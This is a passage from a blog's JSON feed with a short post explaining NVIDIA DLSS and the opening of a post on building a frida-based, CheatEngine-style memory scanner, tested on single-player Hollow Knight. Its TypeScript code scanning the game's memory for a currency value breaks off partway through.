every high school science teacher recommends. He\u0026rsquo;s that good.\u003c/p\u003e\n","summary":"","date_published":"2026-03-09T15:03:53+01:00"},{"id":"https://suidpit.sh/posts/nvidia-dlss/","url":"https://suidpit.sh/posts/nvidia-dlss/","title":"TIL: NVIDIA DLSS","content_html":"\u003chr\u003e\n\u003cp\u003eNVIDIA DLSS stands for Deep Learning Super Sampling.\u003c/p\u003e\n\u003cp\u003eI have seen it in driver updates. I have enabled it in my graphics settings.\nSo what\u0026rsquo;s the deal?\u003c/p\u003e\n\u003cp\u003eAFAIU, DLSS is a family of technologies that use machine learning to improve quality without degrading performance:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eDLSS Super Resolution: AI is used to upscale the rendered frame to a higher resolution. This means that the GPU can render at a lower resolution (which reduces the load) and the gamer can still enjoy the higher resolution on the final frame.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eDLSS Frame Generation: AI is used to generate intermediate frames between the actual rendered frames. This effectively improves the frame rate without asking the GPU to sweat more.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe effect is very noticeable. Here\u0026rsquo;s a comparison I recorded with/without DLSS enabled, same level of detail. DLSS is set on \u0026ldquo;Quality\u0026rdquo; mode, and FPS are almost doubled:\u003c/p\u003e\n\u003cfigure\u003e\n  \u003cvideo src=\"/posts/nvidia-dlss/mhwilds_comparison.mp4\" preload=\"metadata\" style=\"max-width:100%;height:auto;\" autoplay loop muted controls playsinline\u003e\n    \u003cp\u003eYour browser cannot play this video. \u003ca href=\"/posts/nvidia-dlss/mhwilds_comparison.mp4\"\u003eDownload it\u003c/a\u003e.\u003c/p\u003e\n  \u003c/video\u003e\n\u003c/figure\u003e\n\n","summary":"","date_published":"2026-03-08T00:00:00+00:00"},{"id":"https://suidpit.sh/posts/freat-intro/","url":"https://suidpit.sh/posts/freat-intro/","title":"Freat - writing a game hacking birdfeeder for fun and...fun","content_html":"\u003cblockquote\u003e\n\u003cp\u003e[!IMPORTANT] DISCLAIMER\nThis blogpost, together with its proof of concept tool, were only developed to learn more about how game cheats are made, and what techniques might be used to write them. Only single player games have been used as experiments, as it should be.\nI do not condone using any of the techniques shown in this post to develop/sell cheats for multiplayer games, either PvE or PvP. Learning is fun. Online cheating is lame.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"intro\"\u003eIntro\u003c/h2\u003e\n\u003cp\u003eHowdy.\u003c/p\u003e\n\u003cp\u003eSome time ago, I was hanging around with a few friends on Discord, and we were trying to attach CheatEngine to an Android game. Googling or LLM-ing \u0026ldquo;Can I run CheatEngine on Android?\u0026rdquo; yields responses even more confusing than asking which fruit is OK on pizza, so that didn\u0026rsquo;t help.\u003c/p\u003e\n\u003cp\u003eIn the end, IIRC, we sort of managed to use the tool, but I was left wondering: how hard could it be to follow the \u003ca href=\"https://miccah.io/assets/birdfeeder.pdf\"\u003eone and only parable\u003c/a\u003e and build our own cross-platform game hacking birdfeeder?\u003c/p\u003e\n\u003cp\u003eTurns out, it\u0026rsquo;s not trivial. Turns out, it\u0026rsquo;s actually \u003cem\u003efun\u003c/em\u003e.\u003c/p\u003e\n\u003ch2 id=\"what-and-how\"\u003eWhat and How\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!NOTE]\nThe requirements for this proof of concept are heavily inspired by CheatEngine.\nNonetheless, it\u0026rsquo;s not plagiarism, it\u0026rsquo;s admiration.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eThe \u0026ldquo;Hello World\u0026rdquo; of game hacking is a \u003cem\u003eMemory Hack\u003c/em\u003e — heck, it\u0026rsquo;s actually the only hack included in the \u003ca href=\"https://gamehacking.academy/pages/1/05/\"\u003eGame Hacking Academy\u0026rsquo;s basics\u003c/a\u003e chapter.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eA memory hack essentially boils down to finding the memory address \u003cstrong\u003ewhere a given game entity\u003c/strong\u003e – such as your health, gold, ammo, or RAL, on life simulators – \u003cstrong\u003eis stored in the game memory, and changing it\u003c/strong\u003e.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eSo the tool needs to read and write process memory, do it cross-platform (this whole thing started because CheatEngine wouldn\u0026rsquo;t run on Android), and expose an interactive UI; after all, memory hacking is an iterative, trial-and-error process.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!question] Wait, no AI?\nI know what you\u0026rsquo;re thinking. In 2026, I should consider making this agentic or, at the very least, expose an MCP server with simple scanning tools. However, for this PoC, I really only wanted to experiment with memory scanning internals. I\u0026rsquo;ll leave the \u0026ldquo;asking Claude to write my cheats\u0026rdquo; quest for another session.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eNow, I have a confession. Remember when I said my initial thought was \u0026ldquo;how hard could it be to build our own cross-platform game hacking birdfeeder\u0026rdquo;? Well, it was more something like: \u0026ldquo;how hard could it be to build one \u003cstrong\u003eWITH FRIDA\u003c/strong\u003e?\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eThe truth is, this past year I\u0026rsquo;ve used the awesome \u003ca href=\"https://frida.re\"\u003efrida\u003c/a\u003e framework quite a lot, and well, when you have a hammer, everything looks like a process to inject frida with. Point is, frida makes a lot of sense for this quest. It is cross-platform, cross-architecture, and it comes with batteries. Lots of them.\u003c/p\u003e\n\u003cp\u003eFor the GUI, a smart choice would be to use one of those modern web-based frameworks, maybe the ones that support native WebViews.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eBut honestly, when did I let you believe we were in the market for smart choices?\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eI\u0026rsquo;ve gone with \u003ca href=\"https://godotengine.org\"\u003eGodot\u003c/a\u003e — the open source game engine. Games need UIs, and Godot is flexible enough to let you leave out the game and just pick the UI part. Truth be told, the UI library is probably not the \u003cem\u003ebest\u003c/em\u003e thing that Godot has to offer, but since I really like the engine and I get to visually develop the UI using the editor, it works for me.\u003c/p\u003e\n\u003cp\u003eSince the frida agent runs inside the target game and the Godot GUI runs as its own process, they need a bridge. A Python service handles this: the \u003ccode\u003efrida-python\u003c/code\u003e bindings are officially supported, and it exposes a \u003ca href=\"https://www.jsonrpc.org\"\u003eJSON-RPC\u003c/a\u003e-like endpoint over WebSocket. GDScript \u003ca href=\"https://docs.godotengine.org/en/stable/tutorials/networking/websocket.html\"\u003ehas decent WebSocket support\u003c/a\u003e, so it all fits together.\n![[diagram.png]]\u003c/p\u003e\n\u003cp\u003eNow, most of the code written for this project is really straightforward. I already knew that frida can attach to processes and read/write memory, and I knew Godot can build decent UIs. So why call this a \u0026ldquo;proof of concept\u0026rdquo;?\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eBecause I was totally unsure about the feasibility of fast memory scanning with frida\u003c/strong\u003e.\u003c/p\u003e\n\u003cp\u003eFor each scan, the tool needs to:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eEnumerate every memory segment currently mapped in the process\u003c/li\u003e\n\u003cli\u003eTake the target size (e.g. 4 bytes)\u003c/li\u003e\n\u003cli\u003eTake the target type (e.g. unsigned integers)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFor each possible 4-byte value in memory, compare that value with the target value\u003c/strong\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eClearly, doing that in a way that allows live interaction requires some experiments. We love experiments!\u003c/p\u003e\n\u003ch2 id=\"deep-dive-scanning-memory-like-no-big-deal\"\u003e\u003cem\u003eDeep Dive\u003c/em\u003e: scanning memory like no big deal\u003c/h2\u003e\n\u003cp\u003eIn order to evaluate and compare performances of the candidate implementations for memory scanning, one needs to build a lab.\u003c/p\u003e\n\u003cp\u003eWriting a simple C program would not be a good idea to test feasibility, as we need to see what happens when we scan a full-fledged game with a ton of memory segments loaded. Thus, we need a real game.\u003c/p\u003e\n\u003cp\u003eYes, a real game like this one:\u003c/p\u003e\n\u003cimg src=\"hk_128_geo.png\" alt=\"hk_128_geo.png\"\u003e\u003cp\u003eIn this experiment, we run the game on Linux (there\u0026rsquo;s a native build for Hollow Knight). After all, we did say this was going to be a \u003cstrong\u003ecross-platform\u003c/strong\u003e proof of concept.\u003c/p\u003e\n\u003cp\u003eThe goal of this cheat is simply to get ourselves a lotta Geo.\u003c/p\u003e\n\u003cp\u003eThe approach to get there is the following:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eScan the whole memory to find addresses that contain the \u003cstrong\u003ecurrent Geo value\u003c/strong\u003e. In this case, it\u0026rsquo;s 128.\u003c/li\u003e\n\u003cli\u003eDo something in the game to change how much Geo we have, either by spending or collecting them.\u003c/li\u003e\n\u003cli\u003eRe-scan all the addresses collected at step 1, looking for addresses that now contain \u003cstrong\u003ethe new Geo value\u003c/strong\u003e.\u003c/li\u003e\n\u003cli\u003eRepeat steps 2-3 enough times to filter to a reasonably small number of results (ideally one).\u003c/li\u003e\n\u003cli\u003eOnce we have a good candidate, we can check if we got it right by writing a new value into that variable, and checking if it reflects in the game.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eWithout further ado, let\u0026rsquo;s proceed with the experiments!\u003c/p\u003e\n\u003ch3 id=\"the-batteries-memoryscan-api\"\u003eThe batteries: MemoryScan API\u003c/h3\u003e\n\u003cp\u003eI said before that frida comes with batteries, and that\u0026rsquo;s correct. In fact, memory scanning is a feature \u003ca href=\"https://frida.re/docs/javascript-api/#memory\"\u003ealready supported by frida\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe API has the following signature:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eMemory\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003escan\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003epattern\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ecallbacks\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eWhere  \u003ccode\u003eaddress\u003c/code\u003e and \u003ccode\u003esize\u003c/code\u003e are used to establish the range, \u003ccode\u003epattern\u003c/code\u003e  is a string in the form \u0026ldquo;BB BB BB BB\u0026rdquo;, where BB are byte values representing the values we\u0026rsquo;re scanning for, and \u003ccode\u003ecallbacks\u003c/code\u003e is an object containing functions for the promise resolution (\u003ccode\u003eonMatch\u003c/code\u003e, \u003ccode\u003eonError\u003c/code\u003e, \u003ccode\u003eonComplete\u003c/code\u003e).\u003c/p\u003e\n\u003cp\u003eThe implementation of our reference algorithm with the MemoryScan API follows below:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e61\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-typescript\" data-lang=\"typescript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003elog\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"kr\"\u003efrom\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;./logger.js\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003eaddresses\u003c/span\u003e: \u003cspan class=\"kt\"\u003eNativePointer\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003enumToPattern\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003enum\u003c/span\u003e: \u003cspan class=\"kt\"\u003enumber\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"kt\"\u003estring\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003enum\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xff\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003enum\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xff\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003enum\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xff\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003enum\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e24\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xff\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emap\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"nx\"\u003ebyte\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003ebyte\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etoString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"nx\"\u003epadStart\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;0\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ejoin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003efirstScan\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003evalue\u003c/span\u003e: \u003cspan class=\"kt\"\u003enumber\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ebytePattern\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003enumToPattern\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003eaddresses\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eranges\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eProcess\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eenumerateRanges\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;rw-\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eDate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003eranges\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eforEach\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"nx\"\u003erange\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003earr\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003ebase\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003esize\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003erange\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003eMemory\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003escan\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ebase\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ebytePattern\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"nx\"\u003eonMatch\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003eaddresses\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epush\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"nx\"\u003eonComplete() {\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eelapsed\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eDate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"nx\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 